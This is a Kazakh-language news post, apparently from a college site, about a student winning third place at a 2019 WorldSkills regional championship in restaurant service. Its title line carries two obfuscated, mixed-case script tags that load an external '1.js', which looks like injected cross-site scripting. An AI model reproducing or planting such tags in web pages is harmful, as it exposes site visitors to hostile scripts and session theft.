World Skills Kazahstan-2019» стандарты бойынша аймақтық чемпионат «Мейрамханалық қызмет көрсету» біліктілігі бойынша<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
01.04.2019
World Skills Kazahstan-2019» стандарты бойынша аймақтық чемпионат «Мейрамханалық қызмет көрсету» біліктілігі бойынша.
Чемпионат 13-14 наурыз аралығында Щучинск қаласындағы Жоғары техникалық колледже болып өтті. Қатысушылар саны – 7 колледж.Аршалы кенті «№4 АТК» КММ «Тамақтануды ұйымдастыру» мамандығы бойынша 3 курс оқушысы Овчарова Екатерина қатысты.Екі күннің ішінде үш кезең өткізілді. Бірінші күні байқаудың екі кезеңі өткізілді. Чемпионаттың бірінші кезеңінде «Орамалдарды бүктеу (15 нұсқа)»,«Таңғы/ түскі/ кешкі ас үшін үстелді жабдықтау», «Түскі/кешкі асты берілген виртуальды ас мәзірі бойынша ресми емес жағдайда ұсыну» тапсырмалары болды. Чемпионаттың екінші кезеңі «Алкогольді/алкогольсіз сусынды ұсыну», «Шарапты декантациялау», «Жемісті тәрелкені безендіру», «Фирмалық коктейлді безендіру және ұсыну» . Байқаудың екінші күнінде үшінші кезең болды: « Қатысушыларды кофемашинамен таныстыру», «Тапсырма бойынша кофе даярлау және ұсыну», «Жемістерді фламбирлеу». Біздің қатысушымыз Овчарова Екатерина заняла - 3 жүлделі орынды иеленді.
Просмотров: 503